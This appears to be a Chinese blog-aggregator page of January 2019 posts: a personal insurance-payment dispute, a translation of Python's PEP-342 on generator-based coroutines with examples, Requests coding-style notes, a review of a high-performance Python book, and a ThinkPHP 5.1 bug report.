三天后的今天,联系对方给我转账,先是推脱说保险公司不知道有没有打,后是推脱说卡在他老婆那里,晚上查了再转我,晚上推脱说他老婆没回来,我倒是想看看明天给我啥借口。似乎我又遇到个厚颜无耻之人了,看吧后续得走保险公司渠道或者警方渠道追这笔钱了,要么保监会投诉平安不按规则操作,要么110报警对方赖账拒不赔钱,看来事情没这么快结束,这大过年的,让人生气。


30日又经过一天的催促等待,到晚上,我给对方发了一条最后通牒的微信,大意是我还说话你别以为我好欺负,如果明早我还收不到钱,我将采取其他措施来保障我的权益,由此造成的损失你自己承担。等到半夜十二点多,对方忍不住给我转账了。终于事了。


by 西枫里 at January 29, 2019 03:36 PM

January 27, 2019

pythoncat

[译]PEP-342 增强型生成器:协程

PEP标题: Coroutines via Enhanced Generators
PEP作者: Guido van Rossum, Phillip J. Eby
创建日期: 2005-05-10
合入版本: 2.5
译者豌豆花下猫Python猫 公众号作者)

目录

  • 简介

  • 动机

  • 规格摘要

  • 规格:将值发送到生成器

    • 新的生成器方法:send(value)
    • 新的语法:yield 表达式
  • 规格:异常和清理

    • 新语法:yield 允许在try-finally
    • 新的生成器方法:throw(type,value = None,traceback = None)
    • 新的标准异常:GeneratorExit
    • 新的生成器方法:close()
    • 新的生成器方法:__del__()
  • 可选的扩展

    • 扩展的 continue 表达式
  • 未决问题

  • 示例

  • 参考实现

  • 致谢

  • 参考文献

  • 版权

简介

这个 PEP 在生成器的 API 和语法方面,提出了一些增强功能,使得它们可以作为简单的协程使用。这基本上是将下述两个 PEP 的想法结合起来,如果它被采纳,那它们就是多余的了:
  • PEP-288,关于生成器的属性特征与异常(Attributes and Exceptions)。当前 PEP 沿用了它的下半部分,即生成器的异常(事实上,throw() 的方法名就取自 PEP-288)。PEP-342 用 yield 表达式(这个概念来自 PEP-288 的早期版本)来替换了生成器的属性特征。
  • PEP-325,生成器支持释放资源。PEP-342 收紧了 PEP-325 中的一些松散的规范,使其更适用于实际的实现。
(译注:PEP-288 和 PEP-325 都没有被采纳通过,它们的核心内容被集成到了 PEP-342里。)

动机

协程是表达许多算法的自然方式,例如模拟/仿真、游戏、异步 I/O、以及其它事件驱动编程或协同的多任务处理。Python 的生成器函数几乎就是协程——但不完全是——因为它们允许暂停来生成值,但又不允许在程序恢复时传入值或异常。它们也不允许在 try-finally 结构的 try 部分作暂停,因此很难令一个异常退出的(aborted)协程来清理自己。
同样地,当其它函数在执行时,生成器不能提供控制,除非这些函数本身是生成器,并且外部生成器之所以写了去 yield,是要为了响应内部生成器所 yield 的值。这使得即使是相对简单的实现(如异步通信)也变得复杂,因为调用任意函数,要么需要生成器变堵塞(block,即无法提供控制),要么必须在每个要调用的函数的周围,添加一大堆引用循环代码(a lot of boilerplate looping code)。
但是,如果有可能在生成器挂起的点上传递进来值或者异常,那么,一个简单的协程调度器或蹦床函数(trampoline function)就能使协程相互调用且不用阻塞——对异步应用程序有巨大好处。这些应用程序可以编写协程来运行非阻塞的 socket I/O,通过给 I/O 调度器提供控制,直到数据被发送或变为可用。同时,执行 I/O 的代码只需像如下方式操作,就能暂停执行,直到 nonblocking_read() 继续产生一个值:
data = (yield nonblocking_read(my_socket, nbytes))
换句话说, 通过给语言和生成器类型增加一些相对较小的增强,Python 不需要为整个程序编写一系列回调,就能支持异步操作,并且对于本该需要数百上千个协作式的多任务伪线程的(co-operatively multitasking pseudothreads)程序,也可以不需要使用资源密集型线程。因此,这些增强功能将给标准 Python 带来 Stackless Python 的许多优点,又无需对 CPython 核心及其 API 进行任何重大的修改。此外,这些增强在任何已经支持生成器的 Python 实现(例如 Jython)上都是可落实的。

规格摘要

通过给生成器类型增加一些简单的方法,以及两个微小的语法调整,Python 开发者就能够使用生成器函数来实现协程与其它的协作式多任务。这些方法和调整是:
  1. 重定义 yield 为表达式(expression),而不是语句(statement)。当前的 yield 语句将变成一个 yield 表达式,其值将被丢弃。每当通过正常的 next() 调用来恢复生成器时,yield 表达式的返回值是 None。
  2. 为生成器(generator-iterator)添加一个新的 send() 方法,它会恢复生成器,并且 send 一个值作为当前表达式的结果。send() 方法返回的是生成器产生的 next 值,若生成器没有产生值就退出的话,则抛出 StopIteration
  3. 为生成器(generator-iterator)添加一个新的 throw() 方法,它在生成器暂停处抛出异常,并返回生成器产生的下一个值,若生成器没有产生值就退出的话,则抛出 StopIteration (如果生成器没有捕获传入的异常,或者它引发了其它异常,则该异常会传递给调用者。)
  4. 为生成器(generator-iterator)添加一个新的 close() 方法,它在生成器暂停处引发 GeneratorExit 。如果生成器在之后引发 StopIteration (通过正常退出,或者已经被关闭)或 GeneratorExit (通过不捕获异常),则 close() 返回给其调用者。如果生成器产生一个值,则抛出 RuntimeError。如果生成器引发任何其它异常,也会传递给调用者。如果生成器已经退出(异常退出或正常退出),则 close() 不执行任何操作。
  5. 增加了支持,确保即使在生成器被垃圾回收时,也会调用 close()。
  6. 允许 yield 在 try-finally 块中使用,因为现在允许在 finally 语句中执行垃圾回收或显式地调用 close() 。
实现了所有这些变更的原型补丁已经可用了,可作为当前 Python CVS HEAD 的 SourceForge 补丁。# 1223381

设计规格:将值发送进生成器

新的生成器方法:send(value)

为生成器提出了一种新的方法,即 send() 。它只接收一个参数,并将它发送给生成器。调用 send(None) 完全等同于调用生成器的 next() 方法。使用其它参数调用 send() 也有同样的效果,不同的是,当前生成器表达式产生的值会不一样。
因为生成器在生成器函数体的头部执行,所以在刚刚创建生成器时不会有 yield 表达式来接收值,因此,当生成器刚启动时,禁止使用非 None 参数来调用 send() ,如果调用了,就会抛出 TypeError (可能是由于某种逻辑错误)。所以,在与协程通信前,必须先调用 next() 或 send(None) ,来将程序推进到第一个 yield 表达式。
与 next() 方法一样,send() 方法也返回生成器产生的下一个值,或者抛出 StopIteration 异常(当生成器正常退出,或早已退出时)。如果生成器出现未捕获的异常,则它会传给调用者。

新语法:yield 表达式

yield 语句(yield-statement)可以被用在赋值表达式的右侧;在这种情况下,它就是 yield 表达式(yield-expression)。除非使用非 None 参数调用 send() ,否则 yield 表达式的值就是 None。见下文。
yield 表达式必须始终用括号括起来,除非它是作为顶级表达式而出现在赋值表达式的右侧。所以,下面例子都是合法的:
x = yield 42
x = yield
x = 12 + (yield 42)
x = 12 + (yield)
foo(yield 42)
foo(yield)
而下面的例子则是非法的(举了一些特例的原因是,当前的 yield 12,42 是合法的):
x = 12 + yield 42
x = 12 + yield
foo(yield 42, 12)
foo(yield, 12)
请注意,如今没有表达式的 yield-语句 和 yield-表达式是合法的。这意味着:当 next() 调用中的信息流被反转时,应该可以在不传递显式的值的情况下 yield (yield 当然就等同于 yield None)。
当调用 send(value) 时,它恢复的 yield 表达式将返回传入的值。当调用 next() 时,它恢复的 yield 表达式将返回 None。如果 yield-表达式(yield-expression)是一个 yield-语句(yield-statement),其返回值会被忽略,就类似于忽略用作语句的函数的返回值。
实际上,yield 表达式就像一个反函数调用(inverted function);它所 yield 的值实际上是当前函数返回(生成)的,而它 return 的值则是通过 send() 传入的参数。
提示:这样的拓展语法,使得它非常地接近于 Ruby。这是故意的。请注意,Python 在阻塞时,通过使用 send(EXPR) 而不是 return EXPR 来传值给生成器,并且在生成器与阻塞之间传递控制权的底层机制完全不同。Python 中的阻塞不会被编译成 thunk,相反,yield 暂停生成器的执行进度。有一些不是这样的特例,在 Python 中,你不能保存阻塞以供后续调用,并且你无法测试是否存在着阻塞。(XXX - 关于阻塞的这些东西似乎不合适,或许 Guido 会编辑下,做澄清。)

设计规格:异常和清理

让生成器对象成为通过调用生成器函数而生成的迭代器。本节中的 g 指的都是生成器对象。

新语法:yield 允许在 try-finally 里

生成器函数的语法被拓展了,允许在 try-finally 语句中使用 yield 语句。

新的生成器方法:throw(type,value = None,traceback = None)

g.throw(type, value, traceback) 会使生成器在挂起的点处抛出指定的异常(即在 yield 语句中,或在其函数体的头部、且还未调用 next() 时)。如果生成器捕获了异常,并生成了新的值,则它就是 g.throw() 的返回值。如果生成器没有捕获异常,那 throw() 也会抛出同样的异常(它溜走了)。如果生成器抛出其它异常(包括返回时产生的 StopIteration),那该异常会被 throw() 抛出。总之,throw() 的行为类似于 next() 或 send(),除了它是在挂起点处抛出异常。如果生成器已经处于关闭状态,throw() 只会抛出经过它的异常,而不去执行生成器的任何代码。
抛出异常的效果完全像它所声明的那样:
raise type, value, traceback
会在暂停点执行。type 参数不能是 None,且 type 与 value 的类型必须得兼容。如果 value 不是 type 的实例(instance),则按照 raise 语句创建异常实例的规则,用 value 来生成新的异常实例。如果提供了 traceback 参数,则它必须是有效的 Python 堆栈(traceback)对象,否则会抛出 TypeError 。
注释:选择 throw() 这个名称,有几个原因。Raise 是一个关键字,因此不能作为方法的名称。与 raise 不同(它在执行点处即时地抛出异常),throw() 首先恢复生成器,然后才抛出异常。单词 throw 意味着将异常抛在别处,并且跟其它语言相关联。
考虑了几个替代的方法名:resolve(), signal(), genraise(), raiseinto()flush() 。没有一个像 throw() 那般合适。

新的标准异常:GeneratorExit

定义了一个新的标准异常 GeneratorExit,继承自 Exception。生成器应该继续抛出它(或者就不捕获它),或者通过抛出 StopIteration 来处理这个问题。

新的生成器方法:close()

g.close() 由以下伪代码定义:
def close(self):
    try:
        self.throw(GeneratorExit)
    except (GeneratorExit, StopIteration):
        pass
    else:
        raise RuntimeError("generator ignored GeneratorExit")
    # Other exceptions are not caught

新的生成器方法:__del__()

g.__ del __() 是 g.close() 的装饰器。当生成器对象被作垃圾回收时,会调用它(在 CPython 中,则是它的引用计数变为零时)。如果 close() 引发异常, 异常的堆栈信息(traceback)会被打印到 sys.stderr 并被忽略掉;它不会退回到触发垃圾回收的地方。这与类实例在处理 __del__()的异常时的方法一样。
如果生成器对象被循环引用,则可能不会调用 g.__del__() 。这是当前 CPython 的垃圾收集器的表现。做此限制的原因是,GC 代码需要在一个任意点打破循环,以便回收它,在此之后,不允许 Python 代码“看到”形成循环的对象,因为它们可能处于无效的状态。被用于解开(hanging off)循环的对象不受此限制。
尽管实际上不太可能看到生成器被循环引用。但是,若将生成器对象存储在全局变量中,则会通过生成器框架的 f_globals 指针创建一个循环。另外,若在数据结构中存储对生成器对象的引用,且该数据结构被作为参数传递给生成器,这也会创造一个循环引用(例如,如果一个对象具有一个作为生成器的方法,并持有由该方法创建的运行中的迭代器的引用)。鉴于生成器的典型用法,这些情况都不太可能。
此外,CPython 在实现当前 PEP 时,每当由于错误或正常退出而终止执行时,会释放被生成器使用的框架对象(frame object)。这保证了那些无法被恢复的生成器不会成为无法回收的循环引用的部分。这就允许了其它代码在 try-finally 或 with 语句中使用 close() (参考 PEP-343),确保了给定的生成器会正确地完结。

可选扩展

扩展的 continue 语句

本 PEP 的早期草案提出了一种新的 continue EXPR 语法,用于 for 循环(继承自 PEP-340),将 EXPR 的值传给被遍历的迭代器。此功能暂时被撤销了,因为本 PEP 的范围已经缩小,只关注将值传给生成器迭代器(generator-iterator),而非其它类型的迭代器。Python-Dev 邮件列表中的一些人也觉得为这个特定功能添加新语法是为时过早(would be premature at best)。

未决问题

Python-Dev 邮件的讨论提出了一些未决的问题。我罗列于此,附上我推荐的解决方案与它的动机。目前编写的 PEP 也反映了这种喜好的解决方案。
  1. 当生成器产生另一个值作为对“GeneratorExit”异常的响应时,close()应该引发什么异常?

    我最初选择了 TypeError ,因为它表示生成器函数发生了严重的错误行为,应该通过修改代码来修复。但是 PEP-343 中的 with_template 装饰器类使用了 RuntimeError 来进行类似处理。可以说它们都应该使用相同的异常。我宁愿不为此目的引入新的异常类,因为它不是我希望人们捕获的异常:我希望它变成一个 traceback 给程序员看到,然后进行修复。所以我觉得它们都应该抛出 RuntimeError 。有一些先例:在检测到无限递归的情况下,或者检测到未初始化的对象(由于各种各样的原因),核心 Python 代码会抛出该异常。

  2. Oren Tirosh 建议将 send() 方法重命名为 feed() ,以便能跟 consumer 接口兼容(规范参见:http://effbot.org/zone/consumer.htm)。

然而,仔细观察 consumer 接口,似乎 feed() 所需的语义与 send() 不同,因为后者不能在刚启动的生成器上作有意义的调用。此外,当前定义的 consumer 接口不包含对 StopIteration 的处理。
因此,创建一个贴合 consumer 接口的简单的装饰器,来装饰生成器函数,似乎会更有用。举个例子,它可以用初始的 next() 调用给生成器预热(warm up),追踪 StopIteration,甚至可以通过重新调用生成器来提供 reset() 用途。

示例

  1. 一个简单的 consumer 装饰器,它使生成器函数在最初调用时,就自动地前进到第一个 yield 点:
def consumer(func):
    def wrapper(*args,**kw):
        gen = func(*args, **kw)
        gen.next()
        return gen
    wrapper.__name__ = func.__name__
    wrapper.__dict__ = func.__dict__
    wrapper.__doc__  = func.__doc__
    return wrapper
  1. 一个使用 consumer 装饰器创建反向生成器(reverse generator)的示例,该生成器接收图像并创建缩略图,再发送给其它 consumer。像这样的函数可以链接在一起,形成 consumer 间的高效处理流水线,且每个流水线都可以具有复杂的内部状态:
@consumer
def thumbnail_pager(pagesize, thumbsize, destination):
    while True:
        page = new_image(pagesize)
        rows, columns = pagesize / thumbsize
        pending = False
        try:
            for row in xrange(rows):
                for column in xrange(columns):
                    thumb = create_thumbnail((yield), thumbsize)
                    page.write(
                        thumb, col*thumbsize.x, row*thumbsize.y )
                    pending = True
        except GeneratorExit:
            # close() was called, so flush any pending output
            if pending:
                destination.send(page)

            # then close the downstream consumer, and exit
            destination.close()
            return
        else:
            # we finished a page full of thumbnails, so send it
            # downstream and keep on looping
            destination.send(page)

@consumer
def jpeg_writer(dirname):
    fileno = 1
    while True:
        filename = os.path.join(dirname,"page%04d.jpg" % fileno)
        write_jpeg((yield), filename)
        fileno += 1


# Put them together to make a function that makes thumbnail
# pages from a list of images and other parameters.
#
def write_thumbnails(pagesize, thumbsize, images, output_dir):
    pipeline = thumbnail_pager(
        pagesize, thumbsize, jpeg_writer(output_dir)
    )

    for image in images:
        pipeline.send(image)

    pipeline.close()
  1. 一个简单的协程调度器或蹦床(trampoline),它允许协程通过 yield 其它协程,来调用后者。被调用的协程所产生的非生成器的值,会被返回给调用方的协程。类似地,如果被调用的协程抛出异常,该异常也会传导给调用者。实际上,只要你用 yield 表达式来调用协程(否则会阻塞),这个例子就模拟了 Stackless Python 中使用的简单的子任务(tasklet)。这只是一个非常简单的例子,但也可以使用更复杂的调度程序。(例如,现有的 GTasklet 框架peak.events 框架 已经实现类似的调度功能,但大多数因为无法将值或异常传给生成器,而必须使用很尴尬的解决方法。)
import collections

class Trampoline:
    """Manage communications between coroutines"""

    running = False

    def __init__(self):
        self.queue = collections.deque()

    def add(self, coroutine):
        """Request that a coroutine be executed"""
        self.schedule(coroutine)

    def run(self):
        result = None
        self.running = True
        try:
            while self.running and self.queue:
               func = self.queue.popleft()
               result = func()
            return result
        finally:
            self.running = False

    def stop(self):
        self.running = False

    def schedule(self, coroutine, stack=(), val=None, *exc):
        def resume():
            value = val
            try:
                if exc:
                    value = coroutine.throw(value,*exc)
                else:
                    value = coroutine.send(value)
            except:
                if stack:
                    # send the error back to the "caller"
                    self.schedule(
                        stack[0], stack[1], *sys.exc_info()
                    )
                else:
                    # Nothing left in this pseudothread to
                    # handle it, let it propagate to the
                    # run loop
                    raise

            if isinstance(value, types.GeneratorType):
                # Yielded to a specific coroutine, push the
                # current one on the stack, and call the new
                # one with no args
                self.schedule(value, (coroutine,stack))

            elif stack:
                # Yielded a result, pop the stack and send the
                # value to the caller
                self.schedule(stack[0], stack[1], value)

            # else: this pseudothread has ended

        self.queue.append(resume)
  1. 一个简单的 echo 服务器以及用蹦床原理实现的运行代码(假设存在 nonblocking_readnonblocking_write 和其它 I/O 协程,该例子在连接关闭时抛出 ConnectionLost ):
# coroutine function that echos data back on a connected
# socket
#
def echo_handler(sock):
    while True:
        try:
            data = yield nonblocking_read(sock)
            yield nonblocking_write(sock, data)
        except ConnectionLost:
            pass  # exit normally if connection lost

# coroutine function that listens for connections on a
# socket, and then launches a service "handler" coroutine
# to service the connection
#
def listen_on(trampoline, sock, handler):
    while True:
        # get the next incoming connection
        connected_socket = yield nonblocking_accept(sock)

        # start another coroutine to handle the connection
        trampoline.add( handler(connected_socket) )

# Create a scheduler to manage all our coroutines
t = Trampoline()

# Create a coroutine instance to run the echo_handler on
# incoming connections
#
server = listen_on(
    t, listening_socket("localhost","echo"), echo_handler
)

# Add the coroutine to the scheduler
t.add(server)

# loop forever, accepting connections and servicing them
# "in parallel"
#
t.run()

参考实现

实现了本 PEP 中描述的所有功能的原型补丁已经可用,参见 SourceForge 补丁 1223381
该补丁已提交到 CVS,2005年8月 01-02。

致谢

Raymond Hettinger (PEP 288) 与 Samuele Pedroni (PEP 325) 第一个正式地提出将值或异常传递给生成器的想法,以及关闭生成器的能力。Timothy Delaney 建议了本 PEP 的标题,还有 Steven Bethard 帮忙编辑了早期的版本。另见 PEP-340 的致谢部分。

参考文献

TBD.

版权

本文档已经放置在公共领域。
----------------(译文完)--------------------
相关链接:
花下猫语: 唠叨几句吧,年前这几周事情太多了,挤着时间好歹是又翻译出一篇 PEP。与生成器密切相关的 PEP 已经完成 3/4,年后再译最后一篇(PEP-380)。当初翻译第一篇,完全是一时兴起,直觉这是一件有意义的事,现在呢,这个念头开始有点膨胀——我竟然在 Github 上建了个翻译项目。我深知,自己水平实在有限,因此不求得到多少认同吧。但行好事,莫问前程。不过,若有人帮着吆喝一声,也是极好的。

January 27, 2019 12:00 AM

January 23, 2019

pythoncat

大名鼎鼎的 Requests 库用了什么编码风格?

作者:Kenneth Reitz
Requests 的代码库使用 PEP-8 编码风格。
除了 PEP-8 中列出的标准外,我们还有一些指导原则:
  • 如果方便的话,行长(Line-length)可超过 79 个字符,达到 100 个字符。
  • 如果换行会导致严重的不方便,则行长可以超过 100 个字符。
  • 除非在字符串中出现单引号,否则始终使用单引号字符串(例如,‘#flatearth’)。
此外,PEP-8 推荐的用于连续行的编码风格毫无一点品味,绝不允许在 Requests 代码库使用:
# 与开局定界符对齐
foo = long_function_name(var_one, var_two,
                         var_three, var_four)
No。千万别。请。
文档字符串(docstrings)应遵循以下语法:
def the_earth_is_flat():
    """NASA divided up the seas into thirty-three degrees."""
    pass

def fibonacci_spiral_tool():
    """With my feet upon the ground I lose myself / between the sounds
    and open wide to suck it in. / I feel it move across my skin. / I'm
    reaching up and reaching out. / I'm reaching for the random or
    whatever will bewilder me. / Whatever will bewilder me. / And
    following our will and wind we may just go where no one's been. /
    We'll ride the spiral to the end and may just go where no one's
    been.

    Spiral out. Keep going...
    """
    pass
所有函数、方法和类都要求包含 docstrings 。除了对象数据模型方法(例如,__repr__),这些是此规则的例外。
Thanks for helping to make the world a better place!
资料来源(译注:即 Requests 的开发者指南):http://t.cn/E5VgNJF
(译文完)
K 神的这篇文章很短,实际上,这只是摘自 Requests 的开发者指南的一小部分。
但是,关于灵活设定行长的部分,我举双手双脚赞同。如果你所在的公司有“清白盒”的优良传统(不仅指Python),那你极有可能遇到被迫换行的麻烦,而实际上才仅仅刚刚超出了几个字符。那时候,你就会明白,这 3 条灵活规则的好处了。
另外,关于连续行的部分,PEP-8 相关内容在:http://t.cn/Rq4mxOo
PEP-8 反对的是如下写法:
# Arguments on first line forbidden when not using vertical alignment.
# 不使用垂直对齐的参数禁止在第一行上
foo = long_function_name(var_one, var_two,
    var_three, var_four)
PEP-8 推荐的写法是垂直地将换行的参数对齐起始的参数:
# 与开局定界符对齐
foo = long_function_name(var_one, var_two,
                         var_three, var_four)
K 神反对了 PEP-8 推荐的写法。在我看来,任何有品味的人,都会反对以上的两种写法。
即使一个方法的参数超级多,超出了 100 个字符,我本人也是极不情愿换行的。所以,K 神的说法深得我心。
关于代码风格,没有绝对完全一致的标准。本文也不想引起争论。不过,我认同 K 神设定的规则,因为一种与主流不同的审美倾向,值得发现它的同类。

January 23, 2019 12:00 AM

January 13, 2019

pythoncat

Python猫荐书系列之五:《Python高性能编程》

稍微关心编程语言的使用趋势的人都知道,最近几年,国内最火的两种语言非 Python 与 Go 莫属,于是,隔三差五就会有人问:这两种语言谁更厉害/好找工作/高工资…
对于编程语言的争论,就是猿界的生理周期,每个月都要闹上一回。到了年末,各类榜单也是特别抓人眼球,闹得更凶。
其实,它们各有对方所无法比拟的优势以及用武之地,很多争论都是没有必要的。身为一个正在努力学习 Python 的(准)中年程序员,我觉得吧,先把一门语言精进了再说。没有差劲的语言,只有差劲的程序员,等真的把语言学好了,必定是“山重水复疑无路,柳暗花明又一村”。
铺垫已了,进入今天的正题,Python 猫荐书系列之五——
Python高性能编程
本书适合已入门 Python、还想要进阶和提高的读者阅读。
所有计算机语言说到底都是在硬件层面的数据操作,所以高性能编程的一个终极目标可以说是“高性能硬件编程”。然而,Python 是一门高度抽象的计算机语言,它的一大优势是开发团队的高效,不可否认地存在这样或那样的设计缺陷,以及由于开发者的水平而造成的人为的性能缺陷。
本书的一大目的就是通过介绍各种模块和原理,来促成在快速开发 Python 的同时避免很多性能局限,既减低开发及维护成本,又收获系统的高效。

1、性能分析是基础

首先的一个关键就是性能分析,借此可以找到性能的瓶颈,使得性能调优做到事半功倍。

性能调优能够让你的代码能够跑得“足够快”以及“足够瘦”。性能分析能够让你用最小的代价做出最实用的决定。

书中介绍了几种性能分析的工具:
(1)基本技术如 IPython 的 %timeit 魔法函数、time.time()、以及一个计时修饰器,使用这些技术来了解语句和函数的行为。
(2)内置工具如 cProfile,了解代码中哪些函数耗时最长,并用 runsnake 进行可视化。
(3)line_profiler 工具,对选定的函数进行逐行分析,其结果包含每行被调用的次数以及每行花费的时间百分比。
(4)memory_profiler 工具,以图的形式展示RAM的使用情况随时间的变化,解释为什么某个函数占用了比预期更多的 RAM。
(5)Guppy 项目的 heapy 工具,查看 Python 堆中对象的数量以及每个对象的大小,这对于消灭奇怪的内存泄漏特别有用。
(6)dowser 工具,通过Web浏览器界面审查一个持续运行的进程中的实时对象。
(7)dis 模块,查看 CPython 的字节码,了解基于栈的 Python 虚拟机如何运行。
(8)单元测试,在性能分析时要避免由优化手段带来的破坏性后果。
作者强调了性能分析的重要性,同时也对如何确保性能分析的成功提了醒,例如,将测试代码与主体代码分离、避免硬件条件的干扰(如在BIOS上禁用了TurboBoost、禁用了操作系统改写SpeedStep、只使用主电源等)、运行实验时禁用后台工具如备份和Dropbox、多次实验、重启并重跑实验来二次验证结果,等等。
性能分析对于高性能编程的作用,就好比复杂度分析对于算法的作用,它本身不是高性能编程的一部分,但却是最终有效的一种评判标准。

2、数据结构的影响

高性能编程最重要的事情是了解数据结构所能提供的性能保证。

高性能编程的很大一部分是了解你查询数据的方式,并选择一个能够迅速响应这个查询的数据结构。

书中主要分析了 4 种数据结构:列表和元组就类似于其它编程语言的数组,主要用于存储具有内在次序的数据;而字典和集合就类似其它编程语言的哈希表/散列集,主要用于存储无序的数据。
本书在介绍相关内容的时候很克制,所介绍的都是些影响“速度更快、开销更低”的内容,例如:内置的 Tim 排序算法、列表的 resize 操作带来的超额分配的开销、元组的内存滞留(intern机制)带来的资源优化、散列函数与嗅探函数的工作原理、散列碰撞带来的麻烦与应对、Python 命名空间的管理,等等。
理解了这些内容,就能更加了解在什么情况下使用什么数据结构,以及如何优化这些数据结构的性能。
另外,关于这 4 种数据结构,书中还得出了一些有趣的结论:对于一个拥有100 000 000个元素的大列表,实际分配的可能是112 500 007个元素;初始化一个列表比初始化一个元组慢5.1 倍;字典或集合默认的最小长度是8(也就是说,即使你只保存3个值,Python仍然会分配 8 个元素)、对于有限大小的字典不存在一个最佳的散列函数。

3、矩阵和矢量计算

矢量计算是计算机工作原理不可或缺的部分,也是在芯片层次上对程序进行加速所必须了解的部分。
然而,原生 Python 并不支持矢量操作,因为 Python 列表存储的不是实际的数据,而是对实际数据的引用。在矢量和矩阵操作时,这种存储结构会造成极大的性能下降。比如,grid[5][2] 中的两个数字其实是索引值,程序需要根据索引值进行两次查找,才能获得实际的数据。
同时,因为数据被分片存储,我们只能分别对每一片进行传输,而不是一次性传输整个块,因此,内存传输的开销也很大。

减少瓶颈最好的方法是让代码知道如何分配我们的内存以及如何使用我们的数据进行计算。

Numpy 能够将数据连续存储在内存中并支持数据的矢量操作,在数据处理方面,它是高性能编程的最佳解决方案之一。
Numpy 带来性能提升的关键在于,它使用了高度优化且特殊构建的对象,取代了通用的列表结构来处理数组,由此减少了内存碎片;此外,自动矢量化的数学操作使得矩阵计算非常高效。
Numpy 在矢量操作上的缺陷是一次只能处理一个操作。例如,当我们做 A * B + C 这样的矢量操作时,先要等待 A * B 操作完成,并保存数据在一个临时矢量中,然后再将这个新的矢量和 C 相加。
Numexpr 模块可以将矢量表达式编译成非常高效的代码,可以将缓存失效以及临时变量的数量最小化。另外,它还能利用多核 CPU 以及 Intel 芯片专用的指令集来将速度最大化。
书中尝试了多种优化方法的组合,通过详细的分析,展示了高性能编程所能带来的性能提升效果。

4、编译器

书中提出一个观点:让你的代码运行更快的最简单的办法就是让它做更少的工作。
编译器把代码编译成机器码,是提高性能的关键组成部分。
不同的编译器有什么优势呢,它们对于性能提升会带来多少好处呢?书中主要介绍了如下编译工具:
  • Cython ——这是编译成C最通用的工具,覆盖了Numpy和普通的Python代码(需要一些C语言的知识)。
  • Shed Skin —— 一个用于非Numpy代码的,自动把Python转换成C的转换器。
  • Numba —— 一个专用于Numpy代码的新编译器。
  • Pythran —— 一个用于Numpy和非numpy代码的新编译器。
  • PyPy —— 一个用于非Numpy代码的,取代常规Python可执行程序的稳定的即时编译器。
书中分析了这几种编译器的工作原理、优化范围、以及适用场景等,是不错的入门介绍。此外,作者还提到了其它的编译工具,如Theano、Parakeet、PyViennaCL、ViennaCL、Nuitka 与 Pyston 等,它们各有取舍,在不同领域提供了支撑之力。

5、密集型任务

高性能编程的一个改进方向是提高密集型任务的处理效率,而这样的任务无非两大类:I/O 密集型与 CPU 密集型。
I/O 密集型任务主要是磁盘读写与网络通信任务,占用较多 I/O 时间,而对 CPU 要求较少;CPU 密集型任务恰恰相反,它们要消耗较多的 CPU 时间,进行大量的复杂的计算,例如计算圆周率与解析视频等。
改善 I/O 密集型任务的技术是异步编程 ,它使得程序在 I/O 阻塞时,并发执行其它任务,并通过“事件循环”机制来管理各项任务的运行时机,从而提升程序的执行效率。
书中介绍了三种异步编程的库:Gevent、Tornado 和 Asyncio,对三种模块的区别做了较多分析。
改善 CPU 密集型任务的主要方法是利用多核 CPU 进行多进程的运算。
Multiprocessing 模块使用基于进程和基于线程的并行处理,在队列上共享任务,以及在进程间共享数据,是处理 CPU 密集型任务的重要技术。
书中没有隐瞒它的局限性:Amdahl 定律揭示的优化限度、适应于单机多核而多机则有其它选择、全局解释锁 GIL 的束缚、以及进程间通信(同步数据和检查共享数据)的开销。针对进程间通信问题,书中还分析了多种解决方案,例如 Less Naïve Pool、Manager、Redis、RawValue、MMap 等。

6、集群与现场教训

集群是一种多服务器运行相同任务的结构,也就是说,集群中的各节点提供相同的服务,其优点是系统扩展容易、具备容灾恢复能力。
集群需要克服的挑战有:机器间信息同步的延迟、机器间配置与性能的差异、机器的损耗与维护、其它难以预料的问题。书中列举了两个惨痛的教训:华尔街公司骑士资本由于软件升级引入的错误,损失4.62亿美元;Skype 公司 24 小时全球中断的严重事故。
书中给我们重点介绍了三个集群化解决方案:Parallel Python、IPython Parallel 和 NSQ。引申也介绍了一些普遍使用的方案,如 Celery、Gearman、PyRes、SQS。
关于现场教训,它们不仅仅是一些事故或者故事而已,由成功的公司所总结出来的经验更是来之不易的智慧。书中单独用一章内容分享了六篇文章,这些文章出自几个使用 Python 的公司/大型组织,像是Adaptive Lab、RadimRehurek、Smesh、PyPy 与 Lanyrd ,这些国外组织的一线实践经验,应该也能给国内的 Python 社区带来一些启示。

7、写在最后

众所周知,Python 应用前景大、简单易学、方便开发与部署,然而与其它编程语言相比,它的性能几乎总是落于下风。如何解决这个难题呢?本期荐书的书目就是一种回应。
《Python高性能编程》全书从微观到宏观对高性能编程的方方面面做了讲解,主要包含以下主题:计算机内部结构的背景知识、列表和元组、字典和集合、迭代器和生成器、矩阵和矢量计算、编译器、并发、集群和工作队列等。这些内容为编写更快的 Python 指明了答案。
本篇文章主要以梳理书中的内容要点为主,平均而兼顾地理清了全书脉络(PS:介绍得太面面俱到了,但愿不被指责为一篇流水账的读书笔记才好…)。我认为,鉴于书中谈及的这些话题,它就足以成为我们荐书栏目的一员了。除去某些句段的糟糕翻译、成书时间比较早(2014年)而造成的过时外,这本书总体质量不错,可称为是一份优秀的高性能编程的指引手册。
关于荐书栏目,我最后多说几句。本栏目原计划两周左右出一篇,但由于其它系列文章花费了我不少时间,而要写好一篇荐书/书评也特别费劲,最后生生造成了现在两月一更的尴尬局面…这篇文章是个错误的示范,我不该试图全面通读与概括其内容的。因此,我决定今后选一些易读的书目,在写作上也尽量走短小精悍风,希望能持续地将本栏目运作下去。若你有什么建议(如书目推荐、书评推荐、写作建议、甚至是投稿),我随时欢迎,先行致谢啦。
往期荐书回顾:
第二期:《Python最佳实践指南
第三期:《黑客与画家
第四期:《Python源码剖析

January 13, 2019 12:00 AM

January 11, 2019

anji66

TP5.1多对多关联中间表批量写入失败

自从上次TP官方自爆了个安全漏洞后,火速就去做了升级,升级完我发现好几个问题,先是刚拉下来的框架就跑不起来,提示控制器不存在,反馈后流年竟然在线秒升级。后面又发现验证码加载不出来了,这个怪我,依赖没搞好,captcha扩展被删了导致的。再接着又发现paginate的query参数丢了,因为更新漏洞后,我发现参数获取方式变了,导致query参数被CDN给过滤了,没办法又去CDN做了下参数过滤排除解决。


然后过了两天我修改文章,发现文章标签又有问题了,选了多个标签,到最后就变成了一个,其他标签莫名都被删了,之前一直好好的,估计有是更新造成的。就去看了官方的更新日志,发现确实有更新多对多关联模型,这下好了,原本不更新没问题,修正了,反而有问题了,难道我之前的是将错就错么。

1.jpg


3.jpg


